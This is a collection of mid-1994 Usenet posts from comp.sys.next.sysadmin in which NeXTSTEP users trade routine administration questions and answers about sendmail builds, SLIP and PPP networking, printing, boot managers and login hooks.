Subject: Re: Booting up NextStep from CDROM on a HP712
Followup-To: comp.sys.hp.hpux,comp.sys.hp,comp.sys.next.sysadmin
Date: 31 May 1994 21:10:55 GMT
Organization: Technical University Vienna, Austria
Distribution: world
Message-ID: <2sg94v$dr0@email.tuwien.ac.at>
References: <1994May31.102814@esiee.fr>
Frank Bonnet (bonnetf@esiee.fr) wrote:
: Is there some specials clues to boot up an HP712 under NextStep
: from the install CDROM ?
GnnnnnnnnnAAAAAAAAAAAWWWWWWWWWWWWWWWWW!!!!!!
//konrad
who also wants a 9000/712 (or even better, 9000/724)!!
Newsgroups: comp.sys.next.sysadmin
From: oneill@cs.sfu.ca (Melissa O'Neill)
Subject: Re: term and ftp: How?
Message-ID: <1994May31.210105.15600@cs.sfu.ca>
Organization: Simon Fraser University, Burnaby, BC, Canada
References: <CqMqF8.14C@BITart.sub.org> <CHRIS.94May31005159arkin@nice.usergroup.ethz.ch>
Date: Tue, 31 May 1994 21:01:05 GMT
In comp.sys.next.sysadmin, Gerd Knops <gerti@BITart.sub.org> wrote:
>> But I do not understand tredir. I thought (maybe I am to naive here?),
>> that I can use tredir to redirect eg ftp to the remote machine, so
>> that I do not have to use Zmodem all the time to finally download
>> files that I ftp'd to the remote machine. Could a kind soul please
>> point me to how I can do this? And how does it work with the nameserver
>> stuff?
... and Christian Limpach <chris@nice.usergroup.ethz.ch> replies:
> you will have to get a `special' ftp client which is modified for term.
> [...]
BTW, the reason you can't use regular ftp with term is because while
you could use tredir to remap the control connection, all the data
connections each get their own temporary port which you can't know in
advance.
One other point for Gerd is that if he doesn't want to compile a revised
patched version of ftp, and instead decides he wants to use ftp at the
remote end, he still does *not* have to use zmodem. If you want to
transfer files, that's what `tupload' is there for. I've found this
satisfactory enough that while I do have the source for a patched ftp
client, I've bothered to compile and install it.
Best Regards,
Melissa.
P.S. Christian, you may be interested to know that as of term 1.15,
the `Blurb' file is gone from the distribution, replaced with a generally
more useful `term.HOWTO' file, which while giving lots of information
doesn't say too much about the issues of ftping. Also, the file in the
patches directory is a patch for the termftp program, not regular BSD
ftp.
---
I am Woman, hear me Roa... oh, sorry, was I interrupting... no no, it wasn't
important... no, really; it's fine. // Melissa O'Neill <oneill@cs.sfu.ca>
From: root@net23 (Operator)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: INN, and mosaic
Message-ID: <Cqort0.J0G@spcuna.spc.edu>
Date: 31 May 94 21:31:47 GMT
References: <CqFMJw.61H@spcuna.spc.edu> <2s6rfq$q2r@yucca.omnigroup.com> <armin.770405867@master>
Sender: news@spcuna.spc.edu (Network News)
Organization: St. Peter's College, US
OK:
Here's what I want in OmniWeb.
A) Mosaic looks much better. Aesthetically.
Maybe you could spruce up the Interface a bit
The cursor should definetly be an arrow
B) one should NOT have to double click things. Single click is fine.
C) FORMS are needed NOW!
D) Their should be a navigator panel. Either a seperate window, or at the
bottom like in XMosaic
ALL I CAN THINK OF FOR NOW.
Lemme know
Nick
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From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Booting up NextStep from CDROM on a HP712
Date: 31 May 1994 22:30:59 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Distribution: world
Message-ID: <2sgdr3$dpc@cs.ubc.ca>
References: <1994May31.102814@esiee.fr>
In article <1994May31.102814@esiee.fr> bonnetf@esiee.fr (Frank Bonnet)
writes:
>
> Is there some specials clues to boot up an HP712 under NextStep
> from the install CDROM ?
Booting from CD-ROM is only supported by HP CD-ROM drives. (You can use
other SCSI CD-ROM drives once you've booted.) One of the many HP
wonders that I'm sure you'll be encountering.
If you buy HP, you better be prepared to continue buying HP.
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: jmm@umich.edu
Newsgroups: comp.sys.next.sysadmin
Subject: screwy find behavior?
Date: Tue, 31 May 1994 23:48:42 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <940531164842.6567AABqY.jmm@energy7.berkeley.edu>
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I'm a raw "find" novice. However, based on the man page, and examples I've
seen elsewhere, I think the following should work, but it doesn't. I have a
directory with:
energy7/tying2> ls
OldVersions/ monop.tex.bak newapp.tex
app_sev_fix_apr94.tex monop2.log talks/
corr/ monop2.tex techtie3.tex
equations.rtfd/ monop3.log techtie4.tex
monop.tex monop3.tex
and I issue:
energy7/tying2> find ~jmm/Papers/tying2/. -name "*.tex" -o -name "*.log" -
print
The result I get is:
/Users/jmm/Papers/tying2/./monop2.log
/Users/jmm/Papers/tying2/./monop3.log
Why aren't the *.tex files being listed?
From: pmarc@allanon.math.byu.edu (Paul Cardon)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail 6.8.9
Date: 1 Jun 1994 00:14:26 GMT
Organization: Brigham Young University
Message-ID: <2sgjt2$gci@hamblin.math.byu.edu>
References: <1994May31.124029.2078@object_factory.fr>
In article <1994May31.124029.2078@object_factory.fr> fred@tof.fdn.org
(Frederic Pralong) writes:
> As someone compile the sendmail 8.6.9 under NS 3.2 ?
> The Makefile.NeXT is for NS 2.1, can someone help me (script ...)
Have you tried it, I built it for all 2 (ok, 3) versions of NEXTSTEP 3.2
and it worked fine. The only thing you need to worry about are the nroff
macros for the man pages. You either need to install the berkeley tmac
macros or just don't worry about them. You can ignore those errors. The
only other problem is when it tries to create sendmail.st during the
install procedure. Other than that, it works fine.
--
Paul M. Cardon
President of Provo OpenStep-NEXTSTEP User and Developer Group (PoNG)
NEXTSTEP and HP System Manager
Math Department - Brigham Young University
DOS - The Ultimate Blivet
Newsgroups: comp.sys.next.sysadmin
From: terill@ooffoo.mixcom.com (Terry Longrie)
Subject: Re: Printing to HP DJ500 and Ghostscript
Message-ID: <1994Jun1.004708.29302@mixcom.mixcom.com>
Sender: news@mixcom.mixcom.com (Net News Admin)
Organization: Milwaukee Internet Xchange BBS, Milw, WI (414) 241-5469
References: <next2.770334349@info2.rus.uni-stuttgart.de>
Date: Wed, 1 Jun 1994 00:47:08 GMT
> >2. Has anyone compiled gs261 on NeXT 3.2?
> Why? NeXTSTEP is able to render PostScript. You just have to pay for
> the license to do it.
Yes, we all know that NeXTSTEP can render PostScript. However, some of
us also know that GhostScript is also an extremely usefull (and free) tool
for converting PostScript images into many other formats and can be used
as a print filter to convert PostScript into HP-PCL so it can be printed,
for example, on an HP DeskJet 500. All at absolutely no cost! :-)
Terry
From: erikkay@next.com (Erik Kay)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DOS partition not found: why?!
Date: 1 Jun 1994 00:57:46 GMT
Organization: NeXT, Inc.
Message-ID: <2sgmea$f65@rosie.next.com>
References: <1994May26.152456.15855@imag.fr>
In article <1994May26.152456.15855@imag.fr> arrouye@petole.imag.fr (Yves
Arrouye) writes:
] I have a PC with two partitions on a 1Gb disk: the first one is a NS
950Mb
] partition and the second one is a 50Mb DOS partition (in that order in
the
] partitions table).
]
] When I am under NS, I cannot see the DOS partition? Why? How could I
make it
] appear? Is this a bug when the DOS partition is located *after* the NS
one?
] (It works well if the DOS partition is the first one and the NS the
second
] one, but I will not reinstall the whole thing just to change the order
of the
] partitions).
This is a bug in the DOS filesystem. We should be releasing a patch in
the near future which addresses this and other bugs.
hope that helps,
Erik
my opinions are my own...
From: erikkay@next.com (Erik Kay)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Rolling your own loginwindow.app
Date: 1 Jun 1994 01:24:28 GMT
Organization: NeXT, Inc.
Message-ID: <2sgo0c$f6k@rosie.next.com>
References: <1994May31.173815.20589@Princeton.EDU>
In article <1994May31.173815.20589@Princeton.EDU>
serge@dadofsam.Princeton.EDU writes:
] I'm about to embark on writing our own loginwindow.app (we need to do
some
] special validation BEFORE the user is asked for a password), and I'm
wondering
] if anyone else has done this and would like to share their efforts.
Email
] replies please (I'll summarize if anyone else is interested).
Before you waste a lot of time here, please don't consider doing this.
You could probably get one up and running enough to actually login, but
many things would not work properly: copy and paste wouldn't work, sound
wouldn't work, you probably wouldn't launch workspace properly, etc.
At any rate, none of this stuff is documented, nor will it be in the
foreseeable future.
Unfortunately, at the moment, there's no good solution for you. However,
in 3.3, loginwindow has been made a bit more flexible, so you should be
able to plug in code that does what you want, without having to know all
of the grungy details of what we do during login.
Sorry, but at the moment, I'm kind of busy and won't be able to answer
questions about this for a while, so please don't ask for more details. I
just posted this so you wouldn't waste a lot of time on a project that
would have a lot of problems.
hope that helps,
Erik
Newsgroups: comp.sys.next.sysadmin,comp.dcom.servers,comp.protocols.ppp
From: kramer@fragile.termfrost.org (Mike Andrews)
Subject: Problem with NeXT PNI SLIP+ethernet choking on mixed MTU sizes
Message-ID: <Cqp8A2.7A7@fragile.termfrost.org>
Organization: Terminal Frost, Springfield OH
Date: Wed, 1 Jun 1994 03:27:38 GMT
I'm running TransSys PNI SLIP 1.7 on a black 3.2 slab.
I have a couple of machines hanging off the NeXT's ethernet port (an OS/2 box
and a MicroVAX), and using the NeXT to bridge my little subnet over to the
campus network. The SLIP server at the other end is a Xyplex MX1600
terminal server....
Everything works fine to and from the NeXT (except Archie), but things get
sticky when one of the other machines on my local net starts talking to
something outside; the MTU on the ethernet is of course 1500 bytes, and the
SLIP MTU is 1006 bytes. PNI seems to do a fine job of splitting the big
packets up and transmitting them to the remote OK. Apparently, though, the
Xyplex dosen't do the same thing back -- I'm getting console errors on the
NeXT to the effect of
May 31 22:53:43 fragile pnid-pni0[211]: SLIP slip: rec'd frame len=1496 exceeds
MTU=1006
and since PNI then tosses the offending large packet out the window, the local
machine never sees it, and the connection seizes up.
On a related note, archie (and Archie.app) on the NeXT have never worked for
the same reason -- the archie server sends back big packets that PNI pitches..
Actually, on the OS/2 box I was able to fix this by telling OS/2's TCP/IP
to set the ethernet MTU to 900. I don't seem to be able to do the same thing
to the NeXT or the VAX, though. The Xyplex dosen't seem to have an MTU
setting either (in SLIP; it does for PPP). Raising the NeXT's MTU to 1500
didn't help much; some NeXT connections started to choke (probably because
the Xyplex didn't know what to do with 1500 byte SLIP packets)
I tried the antique PPP 0.3 code floating around for the NeXT, but one hard
system crash and two kernel panics later, gave up on it....
So, does anyone have any ideas for a workaround?? i.e. getting PNI not to
dump packets over 1006 bytes on the floor?? Does PNI 1.8 or 1.9 address
this at all? Anyone have a PPP that works right?
thanx much....
--
Mike Andrews -- root@fragile.termfrost.org -- kramer@vax.wittenberg.edu
"To defy the laws of tradition is a crusade only of the brave..." - Primus
Newsgroups: comp.sys.next.sysadmin
From: mgoedel@muaddib.isar.muc.de (Maximilian Goedel)
Subject: Re: Kodak Photo CD, how??
Message-ID: <CqpC8r.319@muaddib.isar.de>
Sender: mgoedel@muaddib.isar.de (Maximilian Goedel)
Organization: Michael Maximilian Goedel
References: <CqL9uK.D00@news.cis.umn.edu>
Date: Wed, 1 Jun 1994 04:53:15 GMT
In article <CqL9uK.D00@news.cis.umn.edu> jimbo@oingo.umn.edu writes:
| I can read NeXT, DOS, Mac, AudioCD, but I cannot read Kodak Photo CD
| on my NeXT Turbo 3.2 station. Is there a driver out there??
|
| replies -> comp.sys.next.sysadmin
|
| Thanks, JIM
Should be no problem. The Software for accessing PHOTO CDs is included
in NeXTSTEP. Perhaps your CD-ROM-Drive is not able to handle with
KODAKs CD-ROM format.
Nice Greetings from Munich
--
Michael Maximilian Goedel email_____________________________
Gerhardstrasse 33 NeXT: mgoedel@muaddib.isar.muc.de
81543 Muenchen - GERMANY LINUX: max@funman.boss.sub.org
Phone +49-89-652918 SGI: f11cs1@rz.unibw-muenchen.de
From: cnayak@crl.com (Chiraprakash Nayak)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: Floppy controller causes panic with EISA/VL/ISA board, NS/I
Date: 31 May 1994 22:06:25 -0700
Organization: CRL Dialup Internet Access (415) 705-6060 [login: guest]
Message-ID: <2sh50h$r81@crl.crl.com>
References: <2sfiv8$b6n@news.service.uci.edu>
CMOS check-sum error:
Your cmos needs to be reset. While booting up (during memory check)
choose to reconfigure cmos setup.
1. note down both standard and advanced cmos settings
2. in setup choose "load hardware defaults" and save to cmos.
3. reboot -- error message should have gone away -- to dos
4. run eisa configuration - "ecu" or whatever and save your configuration
5. reboot and choose cmos setup.
6. in setup "load bios defaults" and change all to what ever it was (step 1)
and save
6. reboot to NeXTSTEP
Hope this helps.
Best Regards.
--Chip (cnayak@crl.com)
From: bchin@is-next.umd.edu (Bill Chin)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Rolling your own loginwindow.app
Date: 1 Jun 1994 05:46:23 GMT
Organization: Comp. Sci. Ctr., Univ. of MD, College Park, MD 20742
Message-ID: <2sh7bf$o17@umd5.umd.edu>
References: <1994May31.173815.20589@Princeton.EDU> <2sgo0c$f6k@rosie.next.com>
Erik Kay (erikkay@next.com) wrote:
: In article <1994May31.173815.20589@Princeton.EDU>
: serge@dadofsam.Princeton.EDU writes:
: ] I'm about to embark on writing our own loginwindow.app (we need to do
: some
: ] special validation BEFORE the user is asked for a password), and I'm
: wondering
: Unfortunately, at the moment, there's no good solution for you. However,
: in 3.3, loginwindow has been made a bit more flexible, so you should be
: able to plug in code that does what you want, without having to know all
: of the grungy details of what we do during login.
Okay...
So will 3.3 allow for sysadmin installable authentication mechanisms,
so that we can use, say, kerberos for password authentication?
Thanks!
.Bill Chin
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail 6.8.9
Date: 31 May 1994 18:42:09 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94May31194209@steffi.demon.co.uk>
References: <1994May31.124029.2078@object_factory.fr>
To: fred@tof.fdn.org (Frederic Pralong)
In-reply-to: fred@tof.fdn.org's message of Tue, 31 May 1994 12:40:29 GMT
<fred@tof.fdn.org> writes:
>As someone compile the sendmail 8.6.9 under NS 3.2 ?
>The Makefile.NeXT is for NS 2.1, can someone help me (script ...)
>FReD
>--
>Frederic Pralong Paris France
>The Object Factory
>5 rue de la cour des Noues
>75020 Paris France
>e-mail : frederic_pralong@object-factory.fr
It wasn't when I used it. Honest... It compiled with no problems for me
with 3.2 and it's sendmail 8.6.9
--
"Real programmers don't create classes. They build heirarchies"
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail.cf for NeXT's
Date: 01 Jun 1994 05:44:33 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94Jun1064433@steffi.demon.co.uk>
References: <2ri9jg$nij@ppcger.ppc.sub.org> <1994May28.193547.1008@seer.demon.co.uk>
<2scplt$300@ppcger.ppc.sub.org> <2set87$2op@marsu.tynet.sub.org>
To: mow@marsu.tynet.sub.org (Markus Wenzel)
In-reply-to: mow@marsu.tynet.sub.org's message of 31 May 1994 09:41:43 +0100
<mow@marsu.tynet.sub.org> writes:
>sepp@ppcger.ppc.sub.org (Josef Wolf) writes:
>>You need expert users for sendmail. smail can be understood by the avarage
>>user.
>As I am told, sendmail V8 with m4 config option corrects this comparison
>a bit. (But I still use smail - why should I change it :-)
That is correct.... all that I had to do to configure up sendmail
8.6.9 was the run the following through m4 to produce a .cf
include(`../m4/cf.m4')
VERSIONID(`@(#)clientproto.mc 8.2 (Berkeley) 8/21/93')
OSTYPE(nextstep)dnl
Cw=steffi localhost
MAILER(smtp)
define(`LOCAL_MAILER_PATH',/usr/local/bin/procmail)dnl
define(`LOCAL_MAILER_FLAGS',uShPfrmn)dnl
define(`LOCAL_MAILER_ARGS',/usr/local/bin/procmail -a $h -d $u)dnl
FEATURE(nodns)dnl
define(`SMART_HOST',smtp:gate.demon.co.uk)dnl
define(`confMESSAGE_TIMEOUT', `5d')
----
Difficult isn't it...
>When I reached a level of sendmail.cf understanding where I almost
>figured out how to tell, I was convinced that it was time to switch over
>to smail :-)))
Smail doesn't offer the rewriting capabilities of sendmail and smail's
implementation of -t is broken (IMHO).. Try replying to User
user@machine(name)
^ no space.
from within say emacs which uses the -t option.
Not to mention the fact that smail doesn't appear to get worked on
very frequently. (Perhaps it's unnecessary)
--
"Real programmers don't create classes. They build heirarchies"
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From: Erland.Wittkoetter@uni-konstanz.de (Erland Wittkoetter)
Newsgroups: comp.sys.next.sysadmin
Subject: Novell Deauthenticate in LogoutHook : Problem or Bug ?
Date: 1 Jun 1994 10:18:20 GMT
Organization: University of Constance
Message-ID: <2shn9c$9o8@hermes.uni-konstanz.de>
Hi,
we still have problems with automatically closing connections to
Novell-File-Servers when logging out.
We wrote the following shell script "/usr/bin/novclose":
/usr/bin/nwlogout HERMES
/usr/bin/nwlogout PHYSLAN
to logout from the Servers HERMES and PHYSLAN. Then we set as root the
default
dwrite loginwindow LogoutHook /usr/bin/novclose
This should, as we thought, like all other loginwindow parameters apply to
all users (after rebooting the machines). But the automatic logout script
worked only for the root user, not for other users.
Even if we set as normal user the above default, it didn't work.
Do you have an idea what we do wrong and how to automatically logout from
the servers for any user ?!
Thanks for your help
Ulf and Erland
--
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Uni Konstanz, Dept.of Physics, LS Dehnen, PO.Box 5560, 78434 Konstanz
Phone: +(49) 7531-88-3747 FAX. +(49) 7531-88-3888
(priv.) Abendbergweg 7, 78465 Konstanz,Germany, Phone:+(49)7531-43078
E-mail: Erland.Wittkoetter@uni-konstanz.de
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From: thomas@olorin.dark.sub.org (Thomas Fischer)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: bbs source
Date: 31 May 1994 15:11:30 +0200
Organization: Olorin, NeXT Development & System Administration, FRG
Distribution: world
Message-ID: <2sfd22$ht3@olorin.dark.sub.org>
Hi,
I'm looking for a BBS package (source and for free preferred, of course)
for a NeXT...
I believe there's no BBS software (maybe commercial) with NS-support ?!?
So I guess a simple unix BBS would do the job - but I have no idea which
works under Mach/BSD - does xbbs ?
Bye, Thomas
--
Disc space -- the final frontier!
---
Thomas Fischer, thomas@olorin [.dark.sub.org/.cube.de]
(+49) 7191 23217 voice,fax,data
Newsgroups: comp.sys.next.sysadmin
From: vlahos@cubism.portal.com (Harry Vlahos)
Subject: Re: Setting up a NeXT as a print server for Non-NeXT boxes
Message-ID: <1994Jun1.030701.11006@cubism>
Keywords: print, NT
Sender: vlahos@cubism
Organization: HV Software, Inc.
References: <2seieh$2ss@nic-nac.CSU.net>
Date: Wed, 1 Jun 1994 03:07:01 GMT
In article <2seieh$2ss@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott)
writes:
> Make sure the names you put in /etc/hosts.lpd are the names the
> NeXT resolves when it looks up the source IP address. Usually,
> this means unqualified names (e.g. phaedra) for hosts listed in
> NetInfo, and fully-qualified names (e.g. phaedra.engr.ucdavis.edu)
> for hosts that have to be looked up in DNS.
>
> An easy way to determine the correct name is to ping each client:
>
> % /usr/etc/ping indigo 56 1
> PING indigo.ucdavis.edu: 56 data bytes
> ^^^^^^^^^^^^^^^^^^
> whatever you see here is what you should use
>
> However, if you see numbers (e.g. 128.120.7.19) there
> instead of a name, seek help from a network administrator
> at your site.
>
> -=EPS=-
Any experience with Windows NT computer connected via
Ethernet to a Next, and printing from Windows NT to the
Next Printer? I seem to get postscript errors when I
try to print anything else than a single page.
The error that I get says "Due to a PostScript language error,
some or all of the pages in your print request coundn't be
printed", and it always happens on the second page.
I have NS 3.2 on a NextCube.
HV
From: Scott McIntyre <S.A.McIntyre@durham.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: bind, libresolv, and libsys_s.a
Date: Wed, 1 Jun 1994 13:20:45 GMT
Organization: University of Durham, Durham, UK.
Sender: S.A.McIntyre@durham.ac.uk
Message-ID: <940601142045.11018AACYI.scott@shrug>
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A few months ago I installed BIND 4.9.2, including the libresolv library; yet
whenever I try to actually *use* it, I get numerous errors from
/lib/libsys_s.a about multiple definitions.
From what I know, the routines in bind 4.9.2 are probably more up to date than
whatever is residing in libsys, but I haven't the slightest idea how to tell
my machine to ignore the values in libsys and go with whatever lresolv
has...could someone point me in the right direction?
Many thanks,
scott
From: neuss@igd.fhg.de (Christian Neuss )
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Q: Pref.app and .gz files help...
Date: 1 Jun 94 13:24:07 GMT
Organization: IGD Darmstadt
Message-ID: <neuss.770477047@budlight>
References: <2s3ct3$423@spool.cs.wisc.edu>
jimr@shorty.cs.wisc.edu (Jim Robinson) writes:
>One: How can I get Inspector.app or something, anything, connected
>to the file browser to recognize gziped files? I assume it should be
>able to handle them just like compress/uncompressed files.
Get Opener.app
>Two: The clock on my Preferences.app has disappeared, and I can't
>get it to come back. I assume this has something to do with a hidden
>file in my own home since other people's work fine.
It must be running, but hidden. Make sure to change the Workspace
Managers Preferneces so that Preferences.app is started at login time.
Send me personal email if th problems prevail.
Chris
--
"I ride a tandem with the random.."
Christian Neuss # Fraunhofer Institute for Computer Graphics
Wilhelminenstr.7 # 64283 Darmstadt # Germany
e-mail: neuss@igd.fhg.de finger: neuss@wildturkey.igd.fhg.de
From: dave@meena.feinberg.nwu.edu (David A. Johnson)
Newsgroups: comp.sys.next.sysadmin
Subject: Setting up print que on NeXTstation to print server
Date: 1 Jun 1994 14:05:57 GMT
Organization: Northwestern University, Evanston, IL USA
Distribution: world
Message-ID: <2si4k5$8el@news.acns.nwu.edu>
Keywords: Lantronix, print queue, server
I'm new at this NeXT stuff, so please forgive me if this seems
stupid.
I have a NeXTstation and I am trying to configure it to print to
either a Lantronix print server (model EPS1) or to a Sun 3/60
which will spool it to the print server.
The print server speaks TCP/IP, NetWare, Appletalk, Lat and Rtel.
Ideally I would like to figure out how to do both print directly
to the print server and to spool it to the Sun. I've looked through
the documentation for PrintManager, NetWareManager, NFSManager and
NetInfoManager and haven't found a clue how to do it. For a while
I tried to configure it to use the Netware abilities and I think
it can be done but it shouldn't be that difficult.
On the Sun I have simply configured the /etc/printcap file with
the appropriate entries and so that end works fine. But when
I read the man pages on the NeXT it says that /etc/printcap is not
consulted when NetInfo is running (which it is!).
Has anyone got an answer?
Thank's in advance.... david
Newsgroups: comp.sys.next.sysadmin
From: jspears@weston.com (Wes Spears)
Subject: NFS Problems
Message-ID: <1994Jun1.041424.1909@weston.com>
Sender: jspears@weston.com (Wes Spears)
Date: Wed, 1 Jun 1994 04:14:24 GMT
I have a network with 3 machines -- 2 Compaq Prosignia's and one slab.
One of the Compaq's has the user and app directories. Both Compaq's have
SMC ethernet cards.
I am constantly getting NFS errors on the non server machines. I have
changed the NFS size to 4096 as reccommend, but it does not seem to help.
If anyone else has had a similar problem, please let me know.
Thanks
Wes
--
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The Weston Group (UUCP and SENDMAIL Consultation)
8524 Highway 6 North, 162, Houston, TX 77095
Newsgroups: comp.sys.next.sysadmin
From: img@aisb.ed.ac.uk (Ian Green)
Subject: top module?
Message-ID: <Cqq1sL.s3@aisb.ed.ac.uk>
Sender: news@aisb.ed.ac.uk (Network News Administrator)
Organization: Dept AI, Edinburgh University, Scotland
Date: Wed, 1 Jun 1994 14:05:08 GMT
Did anyone yet write a NeXTSTEP (v2.1) module for top? Or any other
way to get it running on a next2.1 (black).
please copy any email replies to me.
-ian
--
from top3.0 docs:
"top" is a program that will give continual reports about the state of
the system, including a list of the top cpu using processes. Version 3
of "top" has three primary design goals: provide an accurate snapshot of
the system and process state, not be one of the top processes itself, be
as portable as possible.
Version 3 has many bug fixes from version 2.5, and it has also been
reorganized in a major way to make it easy to port to other platforms.
All system dependent code is now contained in one file.
...
The latest version of "top" is always available via anonymous FTP from
the host "eecs.nwu.edu" in the directory "/pub/top". Additional modules
will be made available in the directory "/pub/top/m".
From: Joe_Keenan@next.com (Joe Keenan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Q: Pref.app and .gz files help...
Date: 1 Jun 1994 14:02:41 GMT
Organization: NeXT, Inc.
Message-ID: <2si4e1$fsp@rosie.next.com>
References: <neuss.770477047@budlight>
In article <neuss.770477047@budlight> neuss@igd.fhg.de (Christian Neuss )
writes:
> jimr@shorty.cs.wisc.edu (Jim Robinson) writes:
> >Two: The clock on my Preferences.app has disappeared, and I can't
> >get it to come back. I assume this has something to do with a hidden
> >file in my own home since other people's work fine.
> It must be running, but hidden. Make sure to change the Workspace
> Managers Preferneces so that Preferences.app is started at login time.
Actually, there's another possibility that bit me once. It appears that
WorldClock attempts to change the defaults for Preferences so that the
Preferences Clock will show the same clock that WorldClock does. It also
sometimes sets the preference to something really weird. Try doing:
dwrite Preferences HideClockType 1
and see if that fixes it.
joe
Newsgroups: comp.sys.next.sysadmin
From: gerti@BITart.sub.org (Gerd Knops)
Subject: Re: term and ftp: How?
Message-ID: <CqpyqG.FD@BITart.sub.org>
Sender: usenet@BITart.sub.org
Organization: BITart, NEXTSTEP/OPENSTEP Consulting
References: <1994May31.210105.15600@cs.sfu.ca>
Date: Wed, 1 Jun 1994 12:59:03 GMT
Thanks to Melissa, Christian, Mickey and Li for your answers. By now I
have installed ncftp, which can be compiled to run through term. Melissa,
you should really try it, if you use ftp on a regulary base, it works
great through term, saves you the tupload, and also has a lot of nice
features.
Gerd
From: fliu@jedi.eng.uci.edu (Feng Liu)
Newsgroups: comp.sys.next.software,comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Re: NS/I boot manager eraised after upgrading DOS 6.0 to 6.2(solved)
Date: 1 Jun 1994 16:02:21 GMT
Organization: University of California, Irvine
Message-ID: <2sibed$n5t@news.service.uci.edu>
References: <2sfugn$eor@rosie.next.com>
In article <2sfugn$eor@rosie.next.com> sam_s@NeXT.com (Sam Streeper)
writes:
> fliu@uci.edu (Feng Liu) writes:
> > Two partitions on a 420MB IDE Drive:
> > I just upgraded the DOS 6.0 partition to DOS 6.2
> > After upgrading everything works fine except the original NS/I
> > boot manager is gone.
> > Is there any way to get back the NS bootmanager?
>
Thanks to everyone who replied to my post. I used the following and
got back the bootmanager.
boot Nextstep, login as root and then
disk -B0 /usr/standalone/i386/boot0 /dev/rhd0h
Feng Liu
Department of Mechanical and Aerospace Engineering
University of California, Irvine
Irvine, CA 92717
phone: 714-725-3105
From: erikkay@next.com (Erik Kay)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Rolling your own loginwindow.app
Date: 1 Jun 1994 18:25:12 GMT
Organization: NeXT, Inc.
Message-ID: <2sijq8$g4l@rosie.next.com>
References: <2sh7bf$o17@umd5.umd.edu>
In article <2sh7bf$o17@umd5.umd.edu> bchin@is-next.umd.edu (Bill Chin)
writes:
] So will 3.3 allow for sysadmin installable authentication mechanisms,
] so that we can use, say, kerberos for password authentication?
] Thanks!
yes.
Erik
From: gary@ah3.cal.msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail 6.8.9
Date: 1 Jun 1994 21:29:51 GMT
Organization: Michigan State University
Message-ID: <2siukf$qcl@msuinfo.cl.msu.edu>
References: <1994May31.124029.2078@object_factory.fr> <2sgjt2$gci@hamblin.math.byu.edu>
: Have you tried it, I built it for all 2 (ok, 3) versions of NEXTSTEP 3.2
: and it worked fine. The only thing you need to worry about are the nroff
: macros for the man pages. You either need to install the berkeley tmac
: macros or just don't worry about them. You can ignore those errors. The
: only other problem is when it tries to create sendmail.st during the
: install procedure. Other than that, it works fine.
I get
(Lots of okay stuff deleted)...
cc -I. -O -DNDBM -DNeXT -DNETINFO -c version.c
cc -o sendmail alias.o arpadate.o clock.o collect.o conf.o convtime.o
daemon.o deliver.o domain.o envelope.o err.o headers.o macro.o main.o
map.o mci.o parseaddr.o queue.o readcf.o recipient.o savemail.o
srvrsmtp.o stab.o stats.o sysexits.o trace.o udb.o usersmtp.o util.o
version.o -L/usr/local/lib -ldbm
nroff -h -mandoc aliases.5 > aliases.0
Cannot open /usr/lib/tmac/tmac.andoc
*** Exit 2
Stop.
But sendmail seems to compile okay.
Can I just replace the old sendmail with this one and reboot?
What about sendmail.cf?
What about sendmail.st?
I've been running mail fine, but I wanted to update (new version AND
security[?]) so are my other files okay?
Sorry to sound dumb, but I'm clueless here.
I've got 100's of pages of documentation and it seems like it should all
fit on one page! :)
Thanks,
Gary
--
Gary J LaPointe
gary@ah3.cal.msu.edu
Michigan State University
http://web.cal.msu.edu/gary/gary.html
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: DPS connection across a SLIP connection
Date: 1 Jun 1994 21:01:59 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2sit07$mh0@cs.ubc.ca>
I need to run NeXT Applications remotely and display them on my
NeXT at home across a SLIP connection, but I'm not having any luck.
I've set Public Window Server on my home machine, and am running the App
on the remote machine with a -NXHost option, but I get back:
DPS client library error: Could not form connection, host croehrig.home
All other network functions work fine across the slip connection
(including nfs). Both machines are running 3.2 (remote: m68k; home:i486).
I can run other campus-ethernet DPS connections fine (hppa to m68k).
It takes about 5-10 seconds to get the error back, so it looks like DPS
might be timing-out if the connection is not fast enough. Is this the
case? If so, is there any way to change it?
Both machines are running 3.2 (remote: m68k; home:i486). I can run other
campus-ethernet DPS connections fine (hppa to m68k).
Once the interface is up, my App only does a "lineto" every 5 seconds or
so, so the SLIP connection should be fine for running that kind of App.
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
Newsgroups: comp.sys.next.sysadmin
From: esprit@netcom.com (Alan F. Perry)
Subject: Free/cheap PPP for NeXTstation
Message-ID: <espritCqqpzv.684@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
Date: Wed, 1 Jun 1994 22:47:54 GMT
Is there a cheap/free PPP for the NeXTstation? Morning Star looks nice,
but I really can't afford it now.
--
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alanp@eng.sun.com (work) | a man can make his life a little longer and
